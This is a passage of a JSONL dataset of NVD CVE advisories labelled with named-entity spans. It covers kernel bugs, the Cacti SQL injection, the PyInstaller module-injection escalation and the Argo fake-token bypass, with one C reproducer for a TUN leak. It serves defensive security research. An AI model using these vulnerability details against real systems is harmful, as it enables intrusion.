an\nSRB to carry out error recovery of cable pull.  The failure to flush causes\nupper layer to start modifying scsi_cmnd.  When the system frees up some\nmemory, the subsequent cable pull trigger another command flush. At this\npoint the driver access a null pointer when attempting to DMA unmap the\nSGL.\n\nAdd a check to make sure commands are flush back on session tear down to\nprevent the null pointer access.", "spans": {"FILEPATH: /03/2021": [[498, 506]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[212, 236]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26931"}}
{"text": "Cacti is an open source operational monitoring and fault management framework. An authenticated SQL injection vulnerability was discovered which allows authenticated users to perform privilege escalation and remote code execution. The vulnerability resides in the `graphs.php` file. When dealing with the cases of ajax_hosts and ajax_hosts_noany, if the `site_id` parameter is greater than 0, it is directly reflected in the WHERE clause of the SQL statement. This creates an SQL injection vulnerability. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: graphs.php": [[265, 275]], "VULNERABILITY: remote code execution": [[208, 229]], "VULNERABILITY: privilege escalation": [[183, 203]], "VULNERABILITY: SQL injection": [[96, 109], [476, 489]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-39359"}}
{"text": "Netdata is an open source option for real-time infrastructure monitoring and troubleshooting. Each Netdata Agent has an automatically generated MACHINE GUID. It is generated when the agent first starts and it is saved to disk, so that it will persist across restarts and reboots. Anyone who has access to a Netdata Agent has access to its MACHINE_GUID. Streaming is a feature that allows a Netdata Agent to act as parent for other Netdata Agents (children), offloading children from various functions (increased data retention, ML, health monitoring, etc) that can now be handled by the parent Agent. Configuration is done via `stream.conf`. On the parent side, users configure in `stream.conf` an API key (any random UUID can do) to provide common configuration for all children using this API key and per MACHINE GUID configuration to customize the configuration for each child. The way this was implemented, allowed an attacker to use a valid MACHINE_GUID as an API key. This affects all users who expose their Netdata Agents (children) to non-trusted users and they also expose to the same users Netdata Agent parents that aggregate data from all these children. The problem has been fixed in: Netdata agent v1.37 (stable) and Netdata agent v1.36.0-409 (nightly). As a workaround, do not enable streaming by default. If you have previously enabled this, it can be disabled. Limiting access to the port on the recipient Agent to trusted child connections may mitigate the impact of this vulnerability.", "spans": {"FILEPATH: stream.conf": [[628, 639], [682, 693]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22497"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: If sock is dead don't access sock's sk_wq in sk_stream_wait_memory\n\nFixes the below NULL pointer dereference:\n\n  [...]\n  [   14.471200] Call Trace:\n  [   14.471562]  <TASK>\n  [   14.471882]  lock_acquire+0x245/0x2e0\n  [   14.472416]  ? remove_wait_queue+0x12/0x50\n  [   14.473014]  ? _raw_spin_lock_irqsave+0x17/0x50\n  [   14.473681]  _raw_spin_lock_irqsave+0x3d/0x50\n  [   14.474318]  ? remove_wait_queue+0x12/0x50\n  [   14.474907]  remove_wait_queue+0x12/0x50\n  [   14.475480]  sk_stream_wait_memory+0x20d/0x340\n  [   14.476127]  ? do_wait_intr_irq+0x80/0x80\n  [   14.476704]  do_tcp_sendpages+0x287/0x600\n  [   14.477283]  tcp_bpf_push+0xab/0x260\n  [   14.477817]  tcp_bpf_sendmsg_redir+0x297/0x500\n  [   14.478461]  ? __local_bh_enable_ip+0x77/0xe0\n  [   14.479096]  tcp_bpf_send_verdict+0x105/0x470\n  [   14.479729]  tcp_bpf_sendmsg+0x318/0x4f0\n  [   14.480311]  sock_sendmsg+0x2d/0x40\n  [   14.480822]  ____sys_sendmsg+0x1b4/0x1c0\n  [   14.481390]  ? copy_msghdr_from_user+0x62/0x80\n  [   14.482048]  ___sys_sendmsg+0x78/0xb0\n  [   14.482580]  ? vmf_insert_pfn_prot+0x91/0x150\n  [   14.483215]  ? __do_fault+0x2a/0x1a0\n  [   14.483738]  ? do_fault+0x15e/0x5d0\n  [   14.484246]  ? __handle_mm_fault+0x56b/0x1040\n  [   14.484874]  ? lock_is_held_type+0xdf/0x130\n  [   14.485474]  ? find_held_lock+0x2d/0x90\n  [   14.486046]  ? __sys_sendmsg+0x41/0x70\n  [   14.486587]  __sys_sendmsg+0x41/0x70\n  [   14.487105]  ? intel_pmu_drain_pebs_core+0x350/0x350\n  [   14.487822]  do_syscall_64+0x34/0x80\n  [   14.488345]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n  [...]\n\nThe test scenario has the following flow:\n\nthread1                               thread2\n-----------                           ---------------\n tcp_bpf_sendmsg\n  tcp_bpf_send_verdict\n   tcp_bpf_sendmsg_redir              sock_close\n    tcp_bpf_push_locked                 __sock_release\n     tcp_bpf_push                         //inet_release\n      do_tcp_sendpages                    sock->ops->release\n       sk_stream_wait_memory          \t   // tcp_close\n          sk_wait_event                      sk->sk_prot->close\n           release_sock(__sk);\n            ***\n                                                lock_sock(sk);\n                                                  __tcp_close\n                                                    sock_orphan(sk)\n                                                      sk->sk_wq  = NULL\n                                                release_sock\n            ****\n           lock_sock(__sk);\n          remove_wait_queue(sk_sleep(sk), &wait);\n             sk_sleep(sk)\n             //NULL pointer dereference\n             &rcu_dereference_raw(sk->sk_wq)->wait\n\nWhile waiting for memory in thread1, the socket is released with its wait\nqueue because thread2 has closed it. This caused by tcp_bpf_send_verdict\ndidn't increase the f_count of psock->sk_redir->sk_socket->file in thread1.\n\nWe should check if SOCK_DEAD flag is set on wakeup in sk_stream_wait_memory\nbefore accessing the wait queue.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[158, 182], [2672, 2696]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50409"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntun: Fix memory leak for detached NAPI queue.\n\nsyzkaller reported [0] memory leaks of sk and skb related to the TUN\ndevice with no repro, but we can reproduce it easily with:\n\n  struct ifreq ifr = {}\n  int fd_tun, fd_tmp;\n  char buf[4] = {};\n\n  fd_tun = openat(AT_FDCWD, \"/dev/net/tun\", O_WRONLY, 0);\n  ifr.ifr_flags = IFF_TUN | IFF_NAPI | IFF_MULTI_QUEUE;\n  ioctl(fd_tun, TUNSETIFF, &ifr);\n\n  ifr.ifr_flags = IFF_DETACH_QUEUE;\n  ioctl(fd_tun, TUNSETQUEUE, &ifr);\n\n  fd_tmp = socket(AF_PACKET, SOCK_PACKET, 0);\n  ifr.ifr_flags = IFF_UP;\n  ioctl(fd_tmp, SIOCSIFFLAGS, &ifr);\n\n  write(fd_tun, buf, sizeof(buf));\n  close(fd_tun);\n\nIf we enable NAPI and multi-queue on a TUN device, we can put skb into\ntfile->sk.sk_write_queue after the queue is detached.  We should prevent\nit by checking tfile->detached before queuing skb.\n\nNote this must be done under tfile->sk.sk_write_queue.lock because write()\nand ioctl(IFF_DETACH_QUEUE) can run concurrently.  Otherwise, there would\nbe a small race window:\n\n  write()                             ioctl(IFF_DETACH_QUEUE)\n  `- tun_get_user                     `- __tun_detach\n     |- if (tfile->detached)             |- tun_disable_queue\n     |  `-> false                        |  `- tfile->detached = tun\n     |                                   `- tun_queue_purge\n     |- spin_lock_bh(&queue->lock)\n     `- __skb_queue_tail(queue, skb)\n\nAnother solution is to call tun_queue_purge() when closing and\nreattaching the detached queue, but it could paper over another\nproblems.  Also, we do the same kind of test for IFF_NAPI_FRAGS.\n\n[0]:\nunreferenced object 0xffff88801edbc800 (size 2048):\n  comm \"syz-executor.1\", pid 33269, jiffies 4295743834 (age 18.756s)\n  hex dump (first 32 bytes):\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n    00 00 07 40 00 00 00 00 00 00 00 00 00 00 00 00  ...@............\n  backtrace:\n    [<000000008c16ea3d>] __do_kmalloc_node mm/slab_common.c:965 [inline]\n    [<000000008c16ea3d>] __kmalloc+0x4a/0x130 mm/slab_common.c:979\n    [<000000003addde56>] kmalloc include/linux/slab.h:563 [inline]\n    [<000000003addde56>] sk_prot_alloc+0xef/0x1b0 net/core/sock.c:2035\n    [<000000003e20621f>] sk_alloc+0x36/0x2f0 net/core/sock.c:2088\n    [<0000000028e43843>] tun_chr_open+0x3d/0x190 drivers/net/tun.c:3438\n    [<000000001b0f1f28>] misc_open+0x1a6/0x1f0 drivers/char/misc.c:165\n    [<000000004376f706>] chrdev_open+0x111/0x300 fs/char_dev.c:414\n    [<00000000614d379f>] do_dentry_open+0x2f9/0x750 fs/open.c:920\n    [<000000008eb24774>] do_open fs/namei.c:3636 [inline]\n    [<000000008eb24774>] path_openat+0x143f/0x1a30 fs/namei.c:3791\n    [<00000000955077b5>] do_filp_open+0xce/0x1c0 fs/namei.c:3818\n    [<00000000b78973b0>] do_sys_openat2+0xf0/0x260 fs/open.c:1356\n    [<00000000057be699>] do_sys_open fs/open.c:1372 [inline]\n    [<00000000057be699>] __do_sys_openat fs/open.c:1388 [inline]\n    [<00000000057be699>] __se_sys_openat fs/open.c:1383 [inline]\n    [<00000000057be699>] __x64_sys_openat+0x83/0xf0 fs/open.c:1383\n    [<00000000a7d2182d>] do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n    [<00000000a7d2182d>] do_syscall_64+0x3c/0x90 arch/x86/entry/common.c:80\n    [<000000004cc4e8c4>] entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nunreferenced object 0xffff88802f671700 (size 240):\n  comm \"syz-executor.1\", pid 33269, jiffies 4295743854 (age 18.736s)\n  hex dump (first 32 bytes):\n    68 c9 db 1e 80 88 ff ff 68 c9 db 1e 80 88 ff ff  h.......h.......\n    00 c0 7b 2f 80 88 ff ff 00 c8 db 1e 80 88 ff ff  ..{/............\n  backtrace:\n    [<00000000e9d9fdb6>] __alloc_skb+0x223/0x250 net/core/skbuff.c:644\n    [<000000002c3e4e0b>] alloc_skb include/linux/skbuff.h:1288 [inline]\n    [<000000002c3e4e0b>] alloc_skb_with_frags+0x6f/0x350 net/core/skbuff.c:6378\n    [<00000000825f98d7>] sock_alloc_send_pskb+0x3ac/0x3e0 net/core/sock.c:2729\n    [<00000000e9eb3df3>] tun_alloc_skb drivers/net/tun.c:1529 [inline]\n    [<\n---truncated---", "spans": {"FILEPATH: /dev/net/tun": [[341, 353]], "FILEPATH: /linux/slab.h": [[2128, 2141]], "FILEPATH: /core/sock.c": [[2208, 2220], [2274, 2286], [3887, 3899]], "FILEPATH: /net/tun.c": [[2348, 2358], [3951, 3961]], "FILEPATH: /char/misc.c": [[2418, 2430]], "FILEPATH: /x86/entry/common.c": [[3126, 3145], [3211, 3230]], "FILEPATH: /core/skbuff.c": [[3655, 3669], [3806, 3820]], "FILEPATH: /linux/skbuff.h": [[3716, 3731]], "FILEPATH: slab_common.c": [[1994, 2007], [2070, 2083]], "FILEPATH: char_dev.c": [[2487, 2497]], "FILEPATH: open.c": [[2557, 2563], [2812, 2818], [2864, 2870], [2929, 2935], [2994, 3000], [3070, 3076]], "FILEPATH: namei.c": [[2604, 2611], [2680, 2687], [2745, 2752]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[78, 89]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53685"}}
{"text": "Istio is an open platform to connect, manage, and secure microservices. In affected versions the Istio control plane, istiod, is vulnerable to a request processing error, allowing a malicious attacker that sends a specially crafted message which results in the control plane crashing when the validating webhook for a cluster is exposed publicly. This endpoint is served over TLS port 15017, but does not require any authentication from the attacker. For simple installations, Istiod is typically only reachable from within the cluster, limiting the blast radius. However, for some deployments, especially [external istiod](https://istio.io/latest/docs/setup/install/external-controlplane/) topologies, this port is exposed over the public internet. This issue has been patched in versions 1.13.2, 1.12.5 and 1.11.8. Users are advised to upgrade. Users unable to upgrade should disable access to a validating webhook that is exposed to the public internet or restrict the set of IP addresses that can query it to a set of known, trusted entities.", "spans": {"URL: https://istio.io/latest/docs/setup/install/external-controlplane/": [[624, 689]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24726"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a denial of service via a `CHECK`-fail in converting sparse tensors to CSR Sparse matrices. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/800346f2c03a27e182dd4fba48295f65e7790739/tensorflow/core/kernels/sparse/kernels.cc#L66) does a double redirection to access an element of an array allocated on the heap. If the value at `indices(i, 0)` is such that `indices(i, 0) + 1` is outside the bounds of `csr_row_ptr`, this results in writing outside of bounds of heap allocated data. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/800346f2c03a27e182dd4fba48295f65e7790739/tensorflow/core/kernels/sparse/kernels.cc#L66": [[222, 354]], "VULNERABILITY: denial of service": [[97, 114]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29545"}}
{"text": "Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: MS Excel Specific).  Supported versions that are affected are 12.2.3-12.2.12. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Web Applications Desktop Integrator, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Web Applications Desktop Integrator accessible data as well as  unauthorized read access to a subset of Oracle Web Applications Desktop Integrator accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Web Applications Desktop Integrator. CVSS 3.1 Base Score 6.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [75, 81], [296, 302], [458, 464], [683, 689], [794, 800], [932, 938]], "VULNERABILITY: denial of service": [[897, 914]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22037"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp: Set SOCK_RCU_FREE earlier in udp_lib_get_port().\n\nsyzkaller triggered the warning [0] in udp_v4_early_demux().\n\nIn udp_v[46]_early_demux() and sk_lookup(), we do not touch the refcount\nof the looked-up sk and use sock_pfree() as skb->destructor, so we check\nSOCK_RCU_FREE to ensure that the sk is safe to access during the RCU grace\nperiod.\n\nCurrently, SOCK_RCU_FREE is flagged for a bound socket after being put\ninto the hash table.  Moreover, the SOCK_RCU_FREE check is done too early\nin udp_v[46]_early_demux() and sk_lookup(), so there could be a small race\nwindow:\n\n  CPU1                                 CPU2\n  ----                                 ----\n  udp_v4_early_demux()                 udp_lib_get_port()\n  |                                    |- hlist_add_head_rcu()\n  |- sk = __udp4_lib_demux_lookup()    |\n  |- DEBUG_NET_WARN_ON_ONCE(sk_is_refcounted(sk));\n                                       `- sock_set_flag(sk, SOCK_RCU_FREE)\n\nWe had the same bug in TCP and fixed it in commit 871019b22d1b (\"net:\nset SOCK_RCU_FREE before inserting socket into hashtable\").\n\nLet's apply the same fix for UDP.\n\n[0]:\nWARNING: CPU: 0 PID: 11198 at net/ipv4/udp.c:2599 udp_v4_early_demux+0x481/0xb70 net/ipv4/udp.c:2599\nModules linked in:\nCPU: 0 PID: 11198 Comm: syz-executor.1 Not tainted 6.9.0-g93bda33046e7 #13\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\nRIP: 0010:udp_v4_early_demux+0x481/0xb70 net/ipv4/udp.c:2599\nCode: c5 7a 15 fe bb 01 00 00 00 44 89 e9 31 ff d3 e3 81 e3 bf ef ff ff 89 de e8 2c 74 15 fe 85 db 0f 85 02 06 00 00 e8 9f 7a 15 fe <0f> 0b e8 98 7a 15 fe 49 8d 7e 60 e8 4f 39 2f fe 49 c7 46 60 20 52\nRSP: 0018:ffffc9000ce3fa58 EFLAGS: 00010293\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffffff8318c92c\nRDX: ffff888036ccde00 RSI: ffffffff8318c2f1 RDI: 0000000000000001\nRBP: ffff88805a2dd6e0 R08: 0000000000000001 R09: 0000000000000000\nR10: 0000000000000000 R11: 0001ffffffffffff R12: ffff88805a2dd680\nR13: 0000000000000007 R14: ffff88800923f900 R15: ffff88805456004e\nFS:  00007fc449127640(0000) GS:ffff88807dc00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fc449126e38 CR3: 000000003de4b002 CR4: 0000000000770ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000600\nPKRU: 55555554\nCall Trace:\n <TASK>\n ip_rcv_finish_core.constprop.0+0xbdd/0xd20 net/ipv4/ip_input.c:349\n ip_rcv_finish+0xda/0x150 net/ipv4/ip_input.c:447\n NF_HOOK include/linux/netfilter.h:314 [inline]\n NF_HOOK include/linux/netfilter.h:308 [inline]\n ip_rcv+0x16c/0x180 net/ipv4/ip_input.c:569\n __netif_receive_skb_one_core+0xb3/0xe0 net/core/dev.c:5624\n __netif_receive_skb+0x21/0xd0 net/core/dev.c:5738\n netif_receive_skb_internal net/core/dev.c:5824 [inline]\n netif_receive_skb+0x271/0x300 net/core/dev.c:5884\n tun_rx_batched drivers/net/tun.c:1549 [inline]\n tun_get_user+0x24db/0x2c50 drivers/net/tun.c:2002\n tun_chr_write_iter+0x107/0x1a0 drivers/net/tun.c:2048\n new_sync_write fs/read_write.c:497 [inline]\n vfs_write+0x76f/0x8d0 fs/read_write.c:590\n ksys_write+0xbf/0x190 fs/read_write.c:643\n __do_sys_write fs/read_write.c:655 [inline]\n __se_sys_write fs/read_write.c:652 [inline]\n __x64_sys_write+0x41/0x50 fs/read_write.c:652\n x64_sys_call+0xe66/0x1990 arch/x86/include/generated/asm/syscalls_64.h:2\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0x4b/0x110 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\nRIP: 0033:0x7fc44a68bc1f\nCode: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 e9 cf f5 ff 48 8b 54 24 18 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 31 44 89 c7 48 89 44 24 08 e8 3c d0 f5 ff 48\nRSP: 002b:00007fc449126c90 EFLAGS: 00000293 ORIG_RAX: 0000000000000001\nRAX: ffffffffffffffda RBX: 00000000004bc050 RCX: 00007fc44a68bc1f\nR\n---truncated---", "spans": {"DOMAIN: rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org": [[1448, 1492]], "FILEPATH: /ipv4/udp.c": [[1226, 1237], [1277, 1288], [1548, 1559]], "FILEPATH: /01/2014": [[1495, 1503]], "FILEPATH: /ipv4/ip_input.c": [[2546, 2562], [2596, 2612], [2736, 2752]], "FILEPATH: /linux/netfilter.h": [[2633, 2651], [2681, 2699]], "FILEPATH: /core/dev.c": [[2800, 2811], [2851, 2862], [2899, 2910], [2959, 2970]], "FILEPATH: /net/tun.c": [[2999, 3009], [3059, 3069], [3114, 3124]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[3429, 3469]], "FILEPATH: /x86/entry/common.c": [[3492, 3511], [3554, 3573]], "FILEPATH: read_write.c": [[3149, 3161], [3201, 3213], [3244, 3256], [3280, 3292], [3325, 3337], [3381, 3393]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1403, 1407]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41041"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/mm: Eliminate window where TLB flushes may be inadvertently skipped\n\ntl;dr: There is a window in the mm switching code where the new CR3 is\nset and the CPU should be getting TLB flushes for the new mm.  But\nshould_flush_tlb() has a bug and suppresses the flush.  Fix it by\nwidening the window where should_flush_tlb() sends an IPI.\n\nLong Version:\n\n=== History ===\n\nThere were a few things leading up to this.\n\nFirst, updating mm_cpumask() was observed to be too expensive, so it was\nmade lazier.  But being lazy caused too many unnecessary IPIs to CPUs\ndue to the now-lazy mm_cpumask().  So code was added to cull\nmm_cpumask() periodically[2].  But that culling was a bit too aggressive\nand skipped sending TLB flushes to CPUs that need them.  So here we are\nagain.\n\n=== Problem ===\n\nThe too-aggressive code in should_flush_tlb() strikes in this window:\n\n\t// Turn on IPIs for this CPU/mm combination, but only\n\t// if should_flush_tlb() agrees:\n\tcpumask_set_cpu(cpu, mm_cpumask(next));\n\n\tnext_tlb_gen = atomic64_read(&next->context.tlb_gen);\n\tchoose_new_asid(next, next_tlb_gen, &new_asid, &need_flush);\n\tload_new_mm_cr3(need_flush);\n\t// ^ After 'need_flush' is set to false, IPIs *MUST*\n\t// be sent to this CPU and not be ignored.\n\n        this_cpu_write(cpu_tlbstate.loaded_mm, next);\n\t// ^ Not until this point does should_flush_tlb()\n\t// become true!\n\nshould_flush_tlb() will suppress TLB flushes between load_new_mm_cr3()\nand writing to 'loaded_mm', which is a window where they should not be\nsuppressed.  Whoops.\n\n=== Solution ===\n\nThankfully, the fuzzy \"just about to write CR3\" window is already marked\nwith loaded_mm==LOADED_MM_SWITCHING.  Simply checking for that state in\nshould_flush_tlb() is sufficient to ensure that the CPU is targeted with\nan IPI.\n\nThis will cause more TLB flush IPIs.  But the window is relatively small\nand I do not expect this to cause any kind of measurable performance\nimpact.\n\nUpdate the comment where LOADED_MM_SWITCHING is written since it grew\nyet another user.\n\nPeter Z also raised a concern that should_flush_tlb() might not observe\n'loaded_mm' and 'is_lazy' in the same order that switch_mm_irqs_off()\nwrites them.  Add a barrier to ensure that they are observed in the\norder they are written.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37964"}}
{"text": "Hardcoded Password Vulnerability have been found in CENTUM. Affected products contain a hardcoded password for the user account (PROG) used for CENTUM Authentication Mode within the system. Under the following conditions, there is a risk that an attacker could log in as the PROG user.\n\nThe default permission for the PROG users is S1 permission (equivalent to OFFUSER). Therefore, for properly permission-controlled targets of operation and monitoring, even if an attacker user in as the PROG user, the risk of critical operations or configuration changes being performed is considered low. (If the PROG user's permissions have been changed for any reason, there is a risk that operations or configuration changes may be performed under the modified permissions. The CVSS values below are for the default permissions.)\n\nAdditionally, exploiting this vulnerability requires an attacker to already have access to the HIS screen controls. Therefore, an attacker can already operate and monitor at that point, regardless of this vulnerability.\n\nThe conditions under which this vulnerability is exploited:\n\nIf all of the following conditions are met, the affected products are vulnerable to this vulnerability.\n\n-An attacker obtains the hardcoded password using a certain method.\n\n-The HIS with the affected product installed is configured in CTM authentication mode.\n\n-An attacker must have direct access to the aforementioned HIS or be able to break into it remotely using a certain method and perform screen operations.\n\n\nThe affected products and versions are as follows: CENTUM VP R5.01.00 to R5.04.20, R6.01.00 to R6.12.00 and R7.01.00.", "spans": {"VULNERABILITY: Hardcoded Password": [[0, 18]], "VULNERABILITY: hardcoded password": [[88, 106], [1233, 1251]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-7741"}}
{"text": "PyInstaller bundles a Python application and all its dependencies into a single package. Due to a special entry being appended to `sys.path` during the bootstrap process of a PyInstaller-frozen application, and due to the bootstrap script attempting to load an optional module for bytecode decryption while this entry is still present in `sys.path`, an application built with PyInstaller < 6.0.0 may be tricked by an unprivileged attacker into executing arbitrary python code when **all** of the following conditions are met. First, the application is built with PyInstaller < 6.0.0; both onedir and onefile mode are affected. Second, the optional bytecode encryption code feature was not enabled during the application build. Third, the attacker can create files/directories in the same directory where the executable is located. Fourth, the filesystem supports creation of files/directories that contain `?` in their name (i.e., non-Windows systems). Fifth, the attacker is able to determine the offset at which the PYZ archive is embedded in the executable. The attacker can create a directory (or a zip archive) next to the executable, with the name that matches the format used by PyInstaller's bootloader to transmit information about the location of PYZ archive to the bootstrap script. If this directory (or zip archive) contains a python module whose name matches the name used by the optional bytecode encryption feature, this module will be loaded and executed by the bootstrap script (in the absence of the real, built-in module that is available when the bytecode-encryption feature is enabled). This results in arbitrary code execution that requires no modification of the executable itself. If the executable is running with elevated privileges (for example, due to having the `setuid` bit set), the code in the injected module is also executed with the said elevated privileges, resulting in a local privilege escalation. PyInstaller 6.0.0 (f5adf291c8b832d5aff7632844f7e3ddf7ad4923) removed support for bytecode encryption; this effectively removes the described attack vector, due to the bootstrap script not attempting to load the optional module for bytecode-decryption anymore. PyInstaller 6.10.0 (cfd60b510f95f92cb81fc42735c399bb781a4739) reworked the bootstrap process to avoid (ab)using `sys.path` for transmitting location of the PYZ archive, which further eliminates the possibility of described injection procedure. If upgrading PyInstaller is not feasible, this issue can be worked around by ensuring proper permissions on directories containing security-sensitive executables (i.e., executables with `setuid` bit set) should mitigate the issue.", "spans": {"HASH: f5adf291c8b832d5aff7632844f7e3ddf7ad4923": [[1957, 1997]], "HASH: cfd60b510f95f92cb81fc42735c399bb781a4739": [[2218, 2258]], "SYSTEM: Windows": [[935, 942]], "SYSTEM: Python": [[22, 28]], "VULNERABILITY: privilege escalation": [[1916, 1936]], "VULNERABILITY: code execution": [[1635, 1649]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-59042"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrtc: cmos: Fix event handler registration ordering issue\n\nBecause acpi_install_fixed_event_handler() enables the event\nautomatically on success, it is incorrect to call it before the\nhandler routine passed to it is ready to handle events.\n\nUnfortunately, the rtc-cmos driver does exactly the incorrect thing\nby calling cmos_wake_setup(), which passes rtc_handler() to\nacpi_install_fixed_event_handler(), before cmos_do_probe(), because\nrtc_handler() uses dev_get_drvdata() to get to the cmos object\npointer and the driver data pointer is only populated in\ncmos_do_probe().\n\nThis leads to a NULL pointer dereference in rtc_handler() on boot\nif the RTC fixed event happens to be active at the init time.\n\nTo address this issue, change the initialization ordering of the\ndriver so that cmos_wake_setup() is always called after a successful\ncmos_do_probe() call.\n\nWhile at it, change cmos_pnp_probe() to call cmos_do_probe() after\nthe initial if () statement used for computing the IRQ argument to\nbe passed to cmos_do_probe() which is cleaner than calling it in\neach branch of that if () (local variable \"irq\" can be of type int,\nbecause it is passed to that function as an argument of type int).\n\nNote that commit 6492fed7d8c9 (\"rtc: rtc-cmos: Do not check\nACPI_FADT_LOW_POWER_S0\") caused this issue to affect a larger number\nof systems, because previously it only affected systems with\nACPI_FADT_LOW_POWER_S0 set, but it is present regardless of that\ncommit.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[659, 683]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48953"}}
{"text": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. When using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` or when using `--auth-mode=sso`, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`. No authentication is performed by the Server itself on `client` tokens. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a `kubectl auth can-i` check for respective methods. In 3.5.7 and 3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token. This vulnerability is fixed in 3.6.2 and 3.5.13.", "spans": {"FILEPATH: /api/v1/workflows": [[243, 260], [405, 422]], "SYSTEM: Kubernetes": [[101, 111]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53862"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: core: sysfs: Fix hang when device state is set via sysfs\n\nThis fixes a regression added with:\n\ncommit f0f82e2476f6 (\"scsi: core: Fix capacity set to zero after\nofflinining device\")\n\nThe problem is that after iSCSI recovery, iscsid will call into the kernel\nto set the dev's state to running, and with that patch we now call\nscsi_rescan_device() with the state_mutex held. If the SCSI error handler\nthread is just starting to test the device in scsi_send_eh_cmnd() then it's\ngoing to try to grab the state_mutex.\n\nWe are then stuck, because when scsi_rescan_device() tries to send its I/O\nscsi_queue_rq() calls -> scsi_host_queue_ready() -> scsi_host_in_recovery()\nwhich will return true (the host state is still in recovery) and I/O will\njust be requeued. scsi_send_eh_cmnd() will then never be able to grab the\nstate_mutex to finish error handling.\n\nTo prevent the deadlock move the rescan-related code to after we drop the\nstate_mutex.\n\nThis also adds a check for if we are already in the running state. This\nprevents extra scans and helps the iscsid case where if the transport class\nhas already onlined the device during its recovery process then we don't\nneed userspace to do it again plus possibly block that daemon.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47192"}}
